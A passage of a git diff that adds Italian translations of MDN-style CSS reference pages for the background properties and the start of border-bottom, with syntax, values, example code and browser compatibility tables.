+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="examplethree"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[2,7,12,17];">.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153,102,153);
+  color: rgb(255,255,204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Esempi","200","150")}}</p>
+
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-color">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-color">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-color">CSS 3</a></li>
+</ul>
+
+<h3 id="Si_veda_anche" name="Si_veda_anche">Si veda anche</h3>
+
+<p><code><a href="/it/CSS/background" title="it/CSS/background">background</a></code>, <code><a href="/it/CSS/background-attachment" title="it/CSS/background-attachment">background-attachment</a></code>, <code><a href="/it/CSS/background-image" title="it/CSS/background-image">background-image</a></code>, <code><a href="/it/CSS/background-position" title="it/CSS/background-position">background-position</a></code>, <code><a href="/it/CSS/background-repeat" title="it/CSS/background-repeat">background-repeat</a></code></p>
+
+<p>{{ languages( { "de": "de/CSS/background-color", "en": "en/CSS/background-color", "es": "es/CSS/background-color", "fr": "fr/CSS/background-color", "ja": "ja/CSS/background-color", "pl": "pl/CSS/background-color" } ) }}</p>
diff --git a/files/it/web/css/background-image/index.html b/files/it/web/css/background-image/index.html
new file mode 100644
index 0000000000..f07e6d72f7
--- /dev/null
+++ b/files/it/web/css/background-image/index.html
@@ -0,0 +1,126 @@
+---
+title: background-image
+slug: Web/CSS/background-image
+tags:
+  - CSS_1
+  - CSS_2.1
+  - CSS_3
+translation_of: Web/CSS/background-image
+---
+<p>&lt;&lt; <a href="it/Guida_di_riferimento_ai_CSS">Guida di riferimento ai CSS</a></p>
+
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+
+<p>La proprietà <code>background-image</code> imposta l'immagine di sfondo di un elemento.</p>
+
+<ul>
+ <li>Valore iniziale: none</li>
+ <li>Si applica a: tutti gli elementi</li>
+ <li>Eredità: no</li>
+ <li>Percentuali: N/A</li>
+ <li>Media: <a href="it/CSS/Media/Visual">visual</a></li>
+ <li>Valore calcolato: URI assoluto o none</li>
+</ul>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">background-image:<em>uri</em> | none | inherit
+</pre>
+
+<h3 id="Valori" name="Valori">Valori</h3>
+
+<dl>
+ <dt>uri </dt>
+ <dd>L'indirizzo dell'immagine da utilizzare come sfondo</dd>
+ <dt>none </dt>
+ <dd>Specifica che l'elemento non ha alcuna immagina di sfondo</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Note that the star image is partially transparent and is layered over the cat image.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+    &lt;p class="catsandstars"&gt;
+        This paragraph is full of cats&lt;br /&gt;and stars.
+    &lt;/p&gt;
+    &lt;p&gt;This paragraph is not.&lt;/p&gt;
+    &lt;p class="catsandstars"&gt;
+        Here are more cats for you.&lt;br /&gt;Look at them!
+    &lt;/p&gt;
+    &lt;p&gt;And no more.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">pre, p {
+    font-size: 1.5em;
+    color: #FE7F88;
+    background-color: transparent;
+}
+
+div {
+  background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+p {
+  background-image: none;
+}
+
+.catsandstars {
+  background-image:  url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+                     url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Esempi')}}</p>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Gli sviluppatori dovrebbero specificare la proprietà <a href="it/CSS/background-color">background-color</a>, cioè un colore di sfondo che verrà mostrato se l'immagine non è disponibile. Le immagini di sfondo vengono mostrare sopra il colore di sfondo.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-image">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-image">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background-image">CSS 3</a></li>
+</ul>
+
+<h3 id="Browser_Compatibility" name="Browser_Compatibility">Browser Compatibility</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Versione minima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Vedi_Anche" name="Vedi_Anche">Vedi Anche</h3>
+
+<p><code><a href="it/CSS/background">background</a></code></p>
+
+<p>{{ languages( { "en": "en/CSS/background-image", "fr": "fr/CSS/background-image", "pl": "pl/CSS/background-image", "es": "es/CSS/background-image" } ) }}</p>
diff --git a/files/it/web/css/background-position/index.html b/files/it/web/css/background-position/index.html
new file mode 100644
index 0000000000..2709f4f1b8
--- /dev/null
+++ b/files/it/web/css/background-position/index.html
@@ -0,0 +1,158 @@
+---
+title: background-position
+slug: Web/CSS/background-position
+translation_of: Web/CSS/background-position
+---
+<p> </p>
+
+<div id="section_1">
+<h3 class="editable" id="Sommario"><span>Sommario</span></h3>
+
+<div class="editIcon"><a href="/../../../../en/CSS/background-position#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><code>background-position</code> imposta la posizione iniziale dell'immagine di sfondo impostata.</p>
+
+<ul>
+ <li><span class="lang lang-en"><a href="../../../../en/CSS/initial_value" rel="internal">Valore iniziale</a> </span>: 0% 0%</li>
+ <li>Si applica a: tutti gli elementi</li>
+ <li><span class="lang lang-en"><a href="../../../../en/CSS/inheritance" rel="internal">Ereditabile</a> </span>: no</li>
+ <li>Percentuali: si riferiscono alle dimensioni del blocco stesso</li>
+ <li>Media: <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/Media/Visual" rel="internal">visual</a></code></span> </span></li>
+ <li><span class="lang lang-en"><a href="../../../../en/CSS/computed_value" rel="internal">Valore riconosciuto</a></span>: per &lt;lunghezza&gt; il valore assoluto o la percentuale.</li>
+</ul>
+</div>
+
+<div id="section_2">
+<h3 class="editable" id="Sintassi"><span>Sintassi </span></h3>
+
+<div class="editIcon"><a href="/../../../../en/CSS/background-position#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<pre class="eval">background-position: [ &lt;percentuale&gt; | &lt;lunghezza&gt; | left | center | right  ]
+                     [ &lt;percentuale&gt; | &lt;lunghezza&gt; | top  | center | bottom ] ? ;
+</pre>
+
+<pre class="eval">background-position: [ top | center | bottom ];
+</pre>
+
+<pre class="eval">background-position: inherit;
+</pre>
+</div>
+
+<div id="section_3">
+<h3 class="editable" id="Valori"><span>Valori</span></h3>
+
+<div class="editIcon"><a href="/../../../../en/CSS/background-position#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<dl>
+ <dt><span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/percentage" rel="internal">&lt;percentuale&gt;</a></code></span> </span></dt>
+ <dd>Con un valore di '0% 0%', l'angolo in alto a sinistra dell'immagine è allineato con l'angolo in alto a sinistra dell'angolo del padding del box. Un valore di '100% 100%' posiziona l'angolo in basso a destra dell'immagine nell'angolo in basso a destra dell'area di padding del box. Con un valore, per esempio, di '14% 84%', l'angolo in alto a sinistra dell'immagine sarà al punto '14%; 84%' dell'area di padding del box.</dd>
+ <dt><span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/length" rel="internal">&lt;lunghezza&gt;</a></code></span> </span></dt>
+ <dd>Con un valore di '2cm 1cm', l'angolo in alto a sinistra dell'immagine si trova 2cm a destra e 1cm più in basso dell'angolo in alto a sinistra dell'area di padding del box.</dd>
+ <dt>top left e left top</dt>
+ <dd>Come '0% 0%'.</dd>
+ <dt>top, top center, e center top</dt>
+ <dd>Come '50% 0%'.</dd>
+ <dt>right top e top right</dt>
+ <dd>Come '100% 0%'.</dd>
+ <dt>left, left center, e center left</dt>
+ <dd>Come '0% 50%'.</dd>
+ <dt>center e center center</dt>
+ <dd>Come '50% 50%'.</dd>
+ <dt>right, right center, e center right</dt>
+ <dd>Come '100% 50%'.</dd>
+ <dt>bottom left e left bottom</dt>
+ <dd>Come '0% 100%'.</dd>
+ <dt>bottom, bottom center, e center bottom</dt>
+ <dd>Come '50% 100%'.</dd>
+ <dt>bottom right e right bottom</dt>
+ <dd>Come '100% 100%'.</dd>
+</dl>
+
+<p>Se viene specificato solo un valore, quello imposta la distanza orizzontale, e la posizione verticale si imposta a 50%. Al contrario, il primo valore specifica la posizione orizzontale. Sono possibili combinazioni di parole, lunghezze o percentuali, ma se si mischiano le parole con i valori, 'left' e 'right' potrebbero solo essere usati come primo valore (indicano una posizione orizzontale), mentre 'top' e 'bottom' solo per il secondo valore (indicano infatti una posizione verticale).</p>
+</div>
+
+<div id="section_4">
+<h3 class="editable" id="Esempi"><span>Esempi</span></h3>
+
+<div class="editIcon"><a href="/../../../../en/CSS/background-position#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<pre>.exampleone {
+	background-image: url("logo.png");
+	background-position: top center;
+}
+
+.exampletwo {
+	background-image: url("logo.png");
+	background-position: 25% 75%;
+}
+
+.examplethree {
+	background-image: url("logo.png");
+	background-position: 2cm bottom;
+}
+
+.examplefour {
+	background-image: url("logo.png");
+	background-position: center 10%;
+}
+
+.examplefive {
+	background-image: url("logo.png");
+	background-position: 2cm 50%;
+}
+
+</pre>
+</div>
+
+<div id="section_5">
+<h3 class="editable" id="Specifiche"><span>Specifiche</span></h3>
+
+<div class="editIcon"><a href="/../../../../en/CSS/background-position#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-position" rel="external nofollow" title="http://www.w3.org/TR/CSS1#background-position">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-position" rel="external nofollow" title="http://www.w3.org/TR/CSS21/colors.html#propdef-background-position">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-position" rel="external nofollow" title="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-position">CSS 3</a></li>
+</ul>
+</div>
+
+<div id="section_6">
+<h3 class="editable" id="Compatibilità_tra_browser"><span>Compatibilità tra browser</span></h3>
+
+<div class="editIcon"><a href="/../../../../en/CSS/background-position#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Versione più vecchia</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="section_7">
+<h3 class="editable" id="Vedere_anche"><span>Vedere anche</span></h3>
+
+<div class="editIcon"><a href="/../../../../en/CSS/background-position#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><span class="lang lang-en"><span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background" rel="internal" title="../../it/CSS/background">background</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-attachment" rel="internal" title="../../it/CSS/background-attachment">background-attachment</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-color" rel="internal" title="../../it/CSS/background-color">background-color</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-image" rel="internal" title="../../it/CSS/background-image">background-image</a></code></span> , <span class="lang lang-en"><code><strong>background-position</strong></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-repeat" rel="internal" title="../../it/CSS/background-repeat">background-repeat</a></code></span> </span></p>
+</div>
+
+<p> </p>
diff --git a/files/it/web/css/background-repeat/index.html b/files/it/web/css/background-repeat/index.html
new file mode 100644
index 0000000000..b8d0a25fd7
--- /dev/null
+++ b/files/it/web/css/background-repeat/index.html
@@ -0,0 +1,165 @@
+---
+title: background-repeat
+slug: Web/CSS/background-repeat
+translation_of: Web/CSS/background-repeat
+---
+<p> </p>
+
+<div id="section_1">
+<h3 class="editable" id="Sommario"><span>Sommario</span></h3>
+
+<div class="editIcon"><a href="../../../../en/CSS/background-repeat#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><code>background-repeat</code> specifica se e come lo sfondo deve essere ripetuto.</p>
+
+<ul>
+ <li><span class="lang lang-en"><a href="../../../../en/CSS/initial_value" rel="internal">Valore iniziale</a> </span>: repeat</li>
+ <li>Si applica a: tutti gli elementi</li>
+ <li><span class="lang lang-en"><a href="../../../../en/CSS/inheritance" rel="internal">Ereditabile</a> </span>: no</li>
+ <li>Percentuali: no</li>
+ <li>Media: <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/Media/Visual" rel="internal">visual</a></code></span> </span></li>
+ <li><span class="lang lang-en"><a href="../../../../en/CSS/computed_value" rel="internal">Valore riconosciuto</a> </span>: come specificato</li>
+</ul>
+</div>
+
+<div id="section_2">
+<h3 class="editable" id="Sintassi"><span>Sintassi</span></h3>
+
+<pre class="eval">background-repeat: repeat | repeat-x | repeat-y | no-repeat | inherit
+</pre>
+</div>
+
+<div id="section_3">
+<h3 class="editable" id="Valori"><span>Valori </span></h3>
+
+<div class="editIcon"><a href="../../../../en/CSS/background-repeat#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<dl>
+ <dt>repeat</dt>
+ <dd>L'immagine viene ripetuta sia orizzontalmente che verticalmente</dd>
+ <dt>repeat-x</dt>
+ <dd>L'immagine viene ripetuta solo orizzontalmente</dd>
+ <dt>repeat-y</dt>
+ <dd>L'immagine viene ripetuta solo verticalmente</dd>
+ <dt>no-repeat</dt>
+ <dd>L'immagine non viene ripetuta: viene visualizzata una sola volta.</dd>
+</dl>
+
+<p> </p>
+</div>
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+    &lt;li&gt;no-repeat
+        &lt;div class="one"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat
+        &lt;div class="two"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-x
+        &lt;div class="three"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-y
+        &lt;div class="four"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-x, repeat-y (multiple images)
+        &lt;div class="five"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Shared for all DIVS in example */
+li {margin-bottom: 12px;}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 144px;
+    height: 84px;
+}
+
+/* background repeat CSS */
+.one {
+    background-repeat: no-repeat;
+}
+.two {
+    background-repeat: repeat;
+}
+.three {
+    background-repeat: repeat-x;
+}
+.four {
+    background-repeat: repeat-y;
+}
+
+/* Multiple images */
+.five {
+    background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                       url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+    background-repeat: repeat-x,
+                       repeat-y;
+    height: 144px;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>In this example, each list item is matched with a different value of <code>background-repeat</code>.</p>
+
+<p>{{EmbedLiveSample('Esempi', 240, 360)}}</p>
+<div id="section_5">
+<h3 class="editable" id="Specifiche"><span>Specifiche</span></h3>
+
+<div class="editIcon"><a href="../../../../en/CSS/background-repeat#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-repeat" rel="external nofollow" title="http://www.w3.org/TR/CSS1#background-repeat">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-repeat" rel="external nofollow" title="http://www.w3.org/TR/CSS21/colors.html#propdef-background-repeat">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-repeat" rel="external nofollow" title="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-repeat">CSS 3</a></li>
+</ul>
+</div>
+
+<div id="section_6">
+<h3 class="editable" id="Compatibilità_tra_browser"><span>Compatibilità tra browser</span></h3>
+
+
+<div class="editIcon"><a href="../../../../en/CSS/background-repeat#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>
+    <p>Versione più vecchia</p>
+   </th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="section_7">
+<h3 class="editable" id="Vedere_anche"><span>Vedere anche</span></h3>
+
+
+<div class="editIcon"><a href="../../../../en/CSS/background-repeat#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><span class="lang lang-en"><span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background" rel="internal" title="../../it/CSS/background">background</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-attachment" rel="internal" title="../../it/CSS/background-attachment">background-attachment</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-color" rel="internal" title="../../it/CSS/background-color">background-color</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-image" rel="internal" title="../../it/CSS/background-image">background-image</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/background-position" rel="internal" title="../../it/CSS/background-position">background-position</a></code></span> , <span class="lang lang-en"><code><strong>background-repeat</strong></code></span> </span></p>
+</div>
+
+<p> </p>
diff --git a/files/it/web/css/background/index.html b/files/it/web/css/background/index.html
new file mode 100644
index 0000000000..c76b5ad59b
--- /dev/null
+++ b/files/it/web/css/background/index.html
@@ -0,0 +1,116 @@
+---
+title: background
+slug: Web/CSS/background
+translation_of: Web/CSS/background
+---
+<p>&lt;&lt; <a href="/it/Guida_di_riferimento_ai_CSS" title="it/Guida_di_riferimento_ai_CSS">Guida di riferimento ai CSS</a></p>
+
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+
+<p>La proprietà <code>background</code> è una scorciatoia per impostare in un'unica riga i valori di altre proprietà inerenti allo sfondo. <code>background</code> può quindi essere utilizzata per impostare una o più tra le seguenti proprietà: <code><a href="/it/CSS/background-attachment" title="it/CSS/background-attachment">background-attachment</a></code>, <code><a href="/it/CSS/background-color" title="it/CSS/background-color">background-color</a></code>, <code><a href="/it/CSS/background-image" title="it/CSS/background-image">background-image</a></code>, <code><a href="/it/CSS/background-position" title="it/CSS/background-position">background-position</a></code>, <code><a href="/it/CSS/background-repeat" title="it/CSS/background-repeat">background-repeat</a></code>.</p>
+
+<ul>
+ <li>Valore iniziale: si vedano le singole proprietà</li>
+ <li>Si applica a: tutti gli elementi</li>
+ <li>Eredità: no</li>
+ <li>Valori percentuali: permessi per <code><a href="/it/CSS/background-position" title="it/CSS/background-position">background-position</a></code></li>
+ <li>Media: <code><a href="/it/CSS/Media/Visual" title="it/CSS/Media/Visual">visual</a></code></li>
+ <li>Valore calcolato: si vedano le singole proprietà</li>
+</ul>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">background: [<em>background-color</em> || <em>background-image</em> ||
+    <em>background-repeat</em> || <em>background-attachment</em> ||
+    <em>background-position</em>] | <em>inherit</em>]
+</pre>
+
+<h3 id="Valori" name="Valori">Valori</h3>
+
+<dl>
+ <dt>background-color</dt>
+ <dd>si veda <code><a href="/it/CSS/background-color" title="it/CSS/background-color">background-color</a></code>.</dd>
+ <dt>background-image </dt>
+ <dd>si veda <code><a href="/it/CSS/background-image" title="it/CSS/background-image">background-image</a></code>.</dd>
+ <dt>background-repeat </dt>
+ <dd>si veda <code><a href="/it/CSS/background-repeat" title="it/CSS/background-repeat">background-repeat</a></code>.</dd>
+ <dt>background-attachment </dt>
+ <dd>si veda <code><a href="/it/CSS/background-attachment" title="it/CSS/background-attachment">background-attachment</a></code>.</dd>
+ <dt>background-position </dt>
+ <dd>si veda <code><a href="/it/CSS/background-position" title="it/CSS/background-position">background-position</a></code>.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="topbanner"&gt;
+  Starry sky&lt;br/&gt;
+  Twinkle twinkle&lt;br/&gt;
+  Starry sky
+&lt;/p&gt;
+&lt;p class="warning"&gt;Here is a paragraph&lt;p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css' highlight:[2,6];">.warning {
+  background: red;
+}
+
+.topbanner {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Esempi")}}</p>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Data una dichiarazione valida, la proprietà <code>background</code> prima imposta le singole proprietà relative al background ai loro valori iniziali, poi assegna i valori esplicitamente indicati nella dichiarazione. Non occorre quindi definire un valore per ognuna delle singole proprietà, ma solo per quelle a cui si desidera assegnare un valore diverso da quello predefinito.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilit.C3.A0_con_i_browser" name="Compatibilit.C3.A0_con_i_browser">Compatibilità con i browser</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Versione minima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Si_veda_anche" name="Si_veda_anche">Si veda anche</h3>
+
+<p><code><a href="/it/CSS/background-attachment" title="it/CSS/background-attachment">background-attachment</a></code>, <code><a href="/it/CSS/background-color" title="it/CSS/background-color">background-color</a></code>, <code><a href="/it/CSS/background-image" title="it/CSS/background-image">background-image</a></code>, <code><a href="/it/CSS/background-position" title="it/CSS/background-position">background-position</a></code>, <code><a href="/it/CSS/background-repeat" title="it/CSS/background-repeat">background-repeat</a></code></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p> </p>
+
+<p>{{ languages( { "de": "de/CSS/background", "en": "en/CSS/background", "es": "es/CSS/background", "fr": "fr/CSS/background", "ja": "ja/CSS/background", "ko": "ko/CSS/background", "pl": "pl/CSS/background", "zh-cn": "cn/CSS/background" } ) }}</p>
diff --git a/files/it/web/css/border-bottom/index.html b/files/it/web/css/border-bottom/index.html
new file mode 100644
index 0000000000..af2c2a213d
--- /dev/null
+++ b/files/it/web/css/border-bottom/index.html
@@ -0,0 +1,99 @@
+---
+title: border-bottom
+slug: Web/CSS/border-bottom
+translation_of: Web/CSS/border-bottom
+---
+<p> </p>
+<div id="section_1">
+ <h3 class="editable" id="Sommario">Sommario</h3>
+ <p>La proprietà <code>border-bottom</code> è una abbreviazione che imposta il valore di <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-color" rel="internal" title="../../it/CSS/border-bottom-color">border-bottom-color</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-style" rel="internal" title="../../it/CSS/border-bottom-style">border-bottom-style</a></code></span> , and <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-width" rel="internal" title="../../it/CSS/border-bottom-width">border-bottom-width</a></code></span> . These properties describe the bottom border of elements.</p>
+ <ul>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/initial_value" rel="internal">Valore iniziale</a> </span>: per i dettagli vedi le singole proprietà</li>
+  <li>Si applica: a tutti gli elementi</li>
+  <li>Percentuali: no</li>
+  <li>Media: <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/Media/Visual" rel="internal">visual</a></code></span> </span></li>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/computed_value" rel="internal">Valore riconosciuto</a> </span>: vedi le singole proprietà</li>
+ </ul>
+</div>
+<div id="section_2">
+ <h3 class="editable" id="Sintassi">Sintassi</h3>
+ <pre class="eval">border-bottom: [ &lt;border-width&gt; || &lt;border-style&gt; || &lt;border-color&gt; ] | <em>inherit</em>
+</pre>
+</div>
+<div id="section_3">
+ <h3 class="editable" id="Values">Values</h3>
+ <dl>
+  <dt>
+   &lt;border-width&gt; </dt>
+  <dd>
+   Vedi <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-width" rel="internal" title="../../it/CSS/border-bottom-width">border-bottom-width</a></code></span> .</dd>
+  <dt>
+   &lt;border-style&gt; </dt>
+  <dd>
+   Vedi <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-style" rel="internal" title="../../it/CSS/border-bottom-style">border-bottom-style</a></code></span> .</dd>
+  <dt>
+   &lt;border-color&gt; </dt>
+  <dd>
+   Vedi <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-color" rel="internal" title="../../it/CSS/border-bottom-color">border-bottom-color</a></code></span> .</dd>
+ </dl>
+</div>
+<div id="section_4">
+ <h3 class="editable" id="Esempi">Esempi</h3>
+ <p><span class="lang lang-en"><a class="external" href="http://developer.mozilla.org/samples/cssref/border.html" rel="external nofollow" title="http://developer.mozilla.org/samples/cssref/border.html">Guarda gli esempi dal vivo</a> </span></p>
+ <pre>element {
+    border-bottom-width: 1px solid #000;
+}
+</pre>
+</div>
+<div id="section_5">
+ <h3 class="editable" id="Note">Note</h3>
+ <p>I tre valori della abbreviazione possono essere specificati in qualsiasi ordine, e uno o due di loro possono essere omessi.</p>
+ <p>Come per tutte le abbreviazioni, <code>border-bottom</code> imposta sempre il valore di tutte le proprietà che può impostare, anche se non sono specificate. Imposta quelle non specificate al loro valore predefinito. Questo vuol dire che:</p>
+ <pre>  border-bottom-style: dotted;
+  border-bottom: thick green;</pre>
+ <p>è attualmente uguale a:</p>
+ <pre>  border-bottom-style: dotted;
+  border-bottom: none thick green;</pre>
+ <p>e il valore di <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-style" rel="internal" title="../../it/CSS/border-bottom-style">border-bottom-style</a></code></span> dato prima di <code>border-bottom</code> viene ignorato.</p>
+ <p>Siccome il valore predefinito di <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-style" rel="internal" title="../../it/CSS/border-bottom-style">border-bottom-style</a></code></span> è <code>none</code>, se non si specifica la parte &lt;border-style&gt; del valore allora la proprietà non specifica nessun bordo.</p>
+</div>
+<div id="section_6">
+ <h3 class="editable" id="Specifiche">Specifiche</h3>
+ <ul>
